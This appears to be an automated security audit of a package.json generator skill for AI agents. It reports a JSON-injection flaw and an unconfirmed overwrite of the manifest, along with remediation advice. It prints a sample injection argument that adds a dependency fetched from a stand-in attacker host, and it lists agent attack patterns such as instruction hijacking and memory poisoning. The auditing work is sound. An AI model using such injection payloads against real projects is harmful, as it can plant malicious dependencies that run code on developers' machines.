Package.json Generator

• Outcome: Review
• Latest audit: Sep 11, 2026 · 3:21 AM UTC
• Version: 1.0.0

Overview

The skill has a clear package.json generation purpose, but its shell script can overwrite an existing manifest and writes unescaped user input into JSON.

Review this skill before installing. It appears intended to generate package.json files, but only run it in a disposable or empty project directory, do not pass untrusted names or versions, and check the generated manifest before running npm install or npm scripts.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (2)

T09 · Insecure Skill Coding Practices

Error

• Location: package-json-generator.sh:2
• Finding: Unescaped Arguments Allow Arbitrary package.json Property Injection<![CDATA[ ## Vulnerability Details **File Location**: `package-json-generator.sh`, lines 2-7 **Vulnerability Type**: JSON injection through unescaped shell arguments **Risk Level**: High ```bash NAME="${1:-my-project}" VERSION="${2:-1.0.0}" cat > package.json << JSON { "name": "$NAME", "version": "$VERSION", ``` ### Technical Analysis The script inserts the user-controlled `NAME` and `VERSION` arguments directly into a JSON document without JSON encoding or input validation. An argument containing quotation marks and JSON syntax can terminate the intended string and inject additional top-level properties. For example, the following project name can add an attacker-selected dependency: ```bash ./package-json-generator.sh \ 'safe", "dependencies":{"evil":"https://attacker.example/payload.tgz"}, "x":"y' ``` The generated manifest would contain attacker-controlled properties similar to: ```json { "name": "safe", "dependencies": { "evil": "https://attacker.example/payload.tgz" }, "x": "y", "version": "1.0.0" } ``` Although the generator does not itself invoke `npm install`, a subsequent package installation can retrieve the injected package. If installation scripts are enabled, lifecycle scripts shipped by that dependency may execute with the privileges of the user or automation account running npm. The same flaw also permits injection of other package configuration, corruption of the generated manifest, or alteration of scripts and metadata. ### Attack Path 1. An attacker controls or influences the name or version passed to the generator, such as through copied setup instructions, CI parameters, or another wrapper script. 2. The attacker supplies a value containing a closing quotation mark and additional JSON properties. 3. The generator embeds the value verbatim into `package.json`. 4. The resulting file contains attacker-selected dependencies, scripts, or configuration. 5. A developer or CI process subsequently executes `npm insta ...[truncated 824 chars]
• Remediation: <![CDATA[ ## Remediation Suggestions - Generate the manifest with a JSON-aware implementation rather than string interpolation. For example, use Node.js and `JSON.stringify()` or use `jq --arg` so all values are correctly escaped. - Validate package names against npm naming requirements before generating the file. - Validate versions with a semantic-version parser and reject invalid values. - Reject embedded control characters, quotation marks, line breaks, and unexpected JSON syntax if strict validation is used in addition to safe serialization. - Treat all command-line arguments as untrusted, including values supplied by CI jobs or wrapper scripts. - Add tests using quotation marks, backslashes, line breaks, Unicode characters, and attempted property-injection payloads. - Consider disabling dependency lifecycle scripts in sensitive CI installation stages with `npm install --ignore-scripts` where compatible, although this is defense in depth and does not replace safe JSON generation. ]]>

T09 · Insecure Skill Coding Practices

Note

• Location: package-json-generator.sh:5
• Finding: Existing package.json Is Overwritten Without Confirmation<![CDATA[ ## Vulnerability Details **File Location**: `package-json-generator.sh`, line 5 **Vulnerability Type**: Unsafe destructive file operation **Risk Level**: Low ```bash cat > package.json << JSON ``` ### Technical Analysis The shell output redirection operator truncates `package.json` before writing the generated content. The script does not check whether the file already exists, request confirmation, require an explicit overwrite option, or create a backup. As a result, accidentally running the generator in an existing project immediately destroys the existing manifest. The overwritten content may include dependency declarations, scripts, package metadata, workspace configuration, and tool-specific settings. ### Attack Path 1. A developer or automation process runs the generator from an existing project directory. 2. A `package.json` file is already present. 3. Shell redirection truncates the existing file without warning. 4. The generator replaces it with the fixed template. 5. Existing project configuration is lost unless it can be recovered from version control or a backup. ### Impact Assessment Exploitation or accidental activation can cause local configuration loss and disrupt development or build processes. The operation is limited to `package.json` in the current working directory and runs with the invoking user's existing filesystem privileges. The reviewed behavior does not independently provide code execution, privilege escalation, or access outside locations writable by the invoking user. ]]>
• Remediation: <![CDATA[ ## Remediation Suggestions - Check for an existing manifest before opening the output file: ```bash if [[ -e package.json ]]; then echo "Error: package.json already exists. Use --force to overwrite." >&2 exit 1 fi ``` - Require an explicit `--force` option for destructive replacement. - Optionally create a timestamped backup before an authorized overwrite. - Generate content into a securely created temporary file and atomically rename it only after generation and validation succeed. - Verify the generated temporary file with a JSON parser before replacing the destination. - Clearly document the output location and overwrite behavior. ]]>

SkillSpector

Vulnerability Patterns

• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep

Findings (2)

Natural-Language Policy Violations

Medium

• Confidence: 96% confidence
• Finding: The manifest description and body text are written entirely in Chinese, indicating a language-specific skill presentation with no opt-in or alternative locale guidance. Under the policy, language constraints should either be optional for the user or clearly justified as region-specific.

Natural-Language Policy Violations

Low

• Confidence: 92% confidence
• Finding: The manifest description is written as "生成 package.json" ("generate package.json"), which indicates the skill is described in Chinese without offering any language or locale choice. Under the policy, forcing a specific language without user opt-in is a natural-language locale concern.

Static analysis

No suspicious patterns detected.